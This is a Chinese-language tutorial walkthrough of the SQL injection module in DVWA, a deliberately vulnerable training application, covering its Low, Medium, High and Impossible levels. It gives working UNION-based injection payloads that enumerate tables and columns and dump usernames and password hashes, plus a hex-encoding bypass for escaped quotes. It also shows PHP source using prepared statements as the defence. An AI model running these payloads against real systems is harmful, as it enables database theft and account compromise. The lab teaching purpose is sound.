当前位置: 首页 > news >正文

DVWA -SQL Injection-通关教程-完结

DVWA -SQL Injection-通关教程-完结

SQL注入是一种攻击者通过在应用程序的输入字段中插入恶意SQL代码,从而操纵后端数据库查询的攻击技术。如果应用程序未对用户输入进行适当过滤,这些恶意SQL代码会被数据库执行,导致数据泄露、篡改或破坏。

文章目录

  • DVWA -SQL Injection-通关教程-完结
    • Low级别SQL注入攻击实战
    • 1、页面功能测试
    • 2、SQL注入攻击
    • Medium级别SQL注入攻击实战
    • High级别SQL注入攻击实战
    • Impossible 级别SQL注入攻击

Low级别SQL注入攻击实战

1、页面功能测试

1.安全级别设置为Low,点击SQL Injection,进入SQL注入攻击页面。发现该页面是个查询,随意输入一个ID值,可以查询First nameSurname

2、SQL注入攻击

1.判断字符型还是数字型(最终结果确定为字符型!

1' //测试闭合符 1'and1=1-- //验证注入点1' and1=2-- //确认漏洞可利用性



2.判断字段数(最终字段数为2!
使用order by进行判断字段数, 至到order by进行报错时候就是字段数。

1' or 1=1 order by 1 # 1'or1=1order by2#1' or1=1order by3#

3.确定显示的字段顺序

1' unionselect1,2#

Firstname位置返回1字段,surname位置返回2字段

4.获取当前数据库

1' unionselect1,database()#

在2字段位置返回数据库名称

其他常用函数:

用户权限:user(), current_user()版本系统:version()字符串处理:concat(), substring(), ascii(), hex()文件操作:load_file(), into outfile()(需权限) 盲注相关:sleep(), benchmark(), if()时间函数:now(), current_timestamp()

5.获取数据库中的表

1' unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema=database()#

得到两张表,分别是guestbookusers

注入语句详解:

1'​ //闭合原查询 union select​ //联合查询 group_concat()​ //聚合函数 group_concat(column_name)-- 将多行合并为一行 group_concat(table_name)-- 将所有表名合并 from information_schema.tables​ //元数据表 information_schema.tables表结构: +--------------------+--------------+|字段名|描述|+--------------------+--------------+|TABLE_SCHEMA|数据库名||TABLE_NAME|表名||TABLE_TYPE|表类型||ENGINE|存储引擎||TABLE_ROWS|行数||AVG_ROW_LENGTH|平均行长度||DATA_LENGTH|数据长度||CREATE_TIME|创建时间||UPDATE_TIME|更新时间|+--------------------+--------------+ 为什么用这个表: 包含所有数据库、表、列的元数据 标准SQL,所有MySQL版本都支持 普通用户有只读权限 是获取数据库结构的标准方法 wheretable_schema=database()​ - 过滤条件 table_schema字段:存储数据库名称,用于区分不同数据库中的同名表 database()函数:返回当前选中的数据库名称#​ //注释符,注释掉原SQL的剩余部分

6.获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

注入语句详解:

1'​ //闭合前面的SQL语句,结束原来的查询条件 union select 1, //添加一个新的查询,数字1是占位符,用来匹配原查询的列数 group_concat(column_name)​ ✅ 核心功能 //group_concat()​ = 把多个值合并成一个字符串 //column_name​ = 列名 //合起来:把所有列名合并成一行显示 from information_schema.columns\ //information_schema.columns​ = MySQL的系统表 //这个表里存储了所有表的所有列信息 where table_name='users' //只查询表名等于'users'的表,也就是只获取users表的列信息#//注释符号,把后面没用的SQL代码都忽略掉

7.获取数据

1' or1=2unionselectuser, password fromusers#

Medium级别SQL注入攻击实战

1.安全级别设置为Medium,进入SQL注入攻击页面,发现在前端页面设置了下拉选择表单,控制用户输入。

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

1.判断注入类型
因为前端使用下拉菜单,所以得通过抓包修改参数。
这里有两个办法,每次都进行抓包修改或者使用BurpSuiteRepeater模块

1' //测试闭合符1and1=1-- //验证注入点1and1=2-- //确认漏洞可利用性



2.猜测字段数,确定回显字段顺序,获取当前数据库,获取数据库中的表
这四部分操作与Low级别差别不大,这里只附上相关语句

1unionselect1,2#1unionselectdatabase(),version()#1unionselect1,group_concat(table_name)from information_schema.tables wheretable_schema=database()#



3.获取表中字段名

1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name='users'#


按照原来的思路构建了语句,但是发生了错误,是因为单引号被转义,利用十六进制绕过。
字符串-16进制转换在线工具

1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name=0x7573657273#

4.获取数据

1unionselectuser,password fromusers#

High级别SQL注入攻击实战

1.设置安全级别为High,进入SQL注入攻击页面,页面使用了读显分离,有效的防止了SQLMap等自动化工具的使用。

代码审计:

<?phpif(isset($_SESSION['id'])){// Get input$id=$_SESSION['id'];// Check database$query="SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";//LIMIT 1是一个SQL查询中的限制语句,用于指定查询结果集中的最大行数。在这段代码中,它用于限制查询结果只返回一行数据,即根据会话ID获取用户的名字和姓氏。//使用LIMT1可以提高查询效率,并避免在查询结果集中返回大量数据$result=mysqli_query($GLOBALS["___mysqli_ston"],$query)ordie('<pre>Something went wrong.</pre>');// Get resultswhile($row=mysqli_fetch_assoc($result)){// Get values$first=$row["first_name"];$last=$row["last_name"];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"])))?false:$___mysqli_res);}?>

绕过方式:虽然添加了LIMIT 1,但是可以通过#将其注释掉。注入过程和之前类似,在这里不做额外演示。

Impossible 级别SQL注入攻击

查看页面源码,这段代码也使用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

<?phpif(isset($_GET['Submit'])){// Check Anti-CSRF token//isset()用于检查变量是否已设置并且非 NULL。checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');/*checkToken() 是一个自定义函数,用于检查传递的安全令牌是否有效,以确保请求不是恶意伪造的。 该函数接受三个参数: user_token:从用户请求中接收的安全令牌。 session_token:存储在用户会话中的安全令牌。 redirect:重定向的页面 URL。 该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配,则可能是 CSRF 攻击,该函数将终止脚本并打印错误消息。如果匹配,则函数将返回 true。 该函数通常用于处理任何可能受到 CSRF 攻击的操作(例如表单提交)。它是一种常见的安全技术,以确保请求来自预期的来源,并且用户已经授权执行请求的操作。*? */// Get input$id=$_GET['id'];// Was a number entered?//is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串,则该函数返回 true,否则返回 false。if(is_numeric($id)){$id=intval($id);switch($_DVWA['SQLI_DB']){caseMYSQL:// Check the database$data=$db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');$data->bindParam(':id',$id,PDO::PARAM_INT);$data->execute();$row=$data->fetch();// Make sure only 1 result is returnedaif($data->rowCount()==1){// Get values$first=$row['first_name'];$last=$row['last_name'];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}break;caseSQLITE:global$sqlite_db_connection;$stmt=$sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;');$stmt->bindValue(':id',$id,SQLITE3_INTEGER);$result=$stmt->execute();$result->finalize();if($result!==false){// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it won't stop someone dumping// multiple rows and viewing them one at a time.$num_columns=$result->numColumns();if($num_columns==2){$row=$result->fetchArray();// Get values$first=$row['first_name'];$last=$row['last_name'];// Feedback for end userecho"<pre>ID:{$id}<br />First name:{$first}<br />Surname:{$last}</pre>";}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?>
http://www.jsqmd.com/news/106527/

相关文章:

  • 宠物养护不用愁!AI智能管家+物联网,打造零失误照料系统(附架构图+搭建指南)
  • 11.7
  • es: 安装ik中文分词9.2.2
  • AI智能体掀起农业革命!从“看天吃饭”到“精准种植”,亩均增收30%的秘密
  • Java毕设项目:基于JAVA的学院校内订餐系统的实现(源码+文档,讲解、调试运行,定制等)
  • 【哥德巴赫猜想】
  • 未定事件薄
  • 告别照护焦虑!AI智能照护系统,让独居父母安全有“医”靠(附架构图+搭建指南)
  • 吉时利 2636B 与是德 B2900 数字源表对比评测
  • 步进电机的抖动和噪音从何而来?看ADI Trinamic步进电机驱动芯片如何“对症下药”
  • AI伦理治理:在创新与规范之间寻找平衡之道
  • 【转载】 在windows系统中关闭全局socket连接,可跨进程实现“断网”
  • 露,大鼠活动记录仪 小动物活动记录仪
  • U-boot 源码结构
  • LCR测试仪温度漂移补偿的解决方案
  • 告别“养死”魔咒!AI+知识库+物联网,打造零失败智能种植系统(附架构图+实操指南)
  • 欧姆龙Modbus RTU主站通讯:无协议模式,两步轻松实现
  • 【原创代码分享】基于TOC(龙卷风-科里奥利力优化算法)-XGBoost的时间序列预测模型【原创代码分享】基于线性回归和XGBoost的混合时间序列分解预测
  • 运维远控工具盘点排名第一:为何大公司都选择选择ToDesk
  • Shopee 验证码解决方案
  • UTP测试系统为家电及智能家居产品打造高效、合规、体验至上的验证体系
  • 使用是德DSOX1204A快速捕捉与调试信号的技巧
  • Java毕设项目:基于SpringBoot的少儿编程在线教育网站设计与开发基于Java的scratch少儿编程学习网站系统的设计与实现(源码+文档,讲解、调试运行,定制等)
  • 基于Springboot+Vue超市仓库管理系统(完整源码+万字论文+答辩PPT)
  • 逃离都市喧嚣,我在燕郊百年梨园里找到了理想中的“一方庭院”
  • 一个赚了16倍的老股民的惨痛反思:原来,我只是个幸存者?
  • 【AI早知道】腾讯混元世界模型1.5上线,小米发布新一代MoE大模型MiMo-V2-Flash,Meta拥抱竞品AI
  • 使用Qt OpenGL开发俄罗斯方块:从零到一实现经典游戏
  • 八)--工具和MCP调用
  • Go语言Panic异常服务崩溃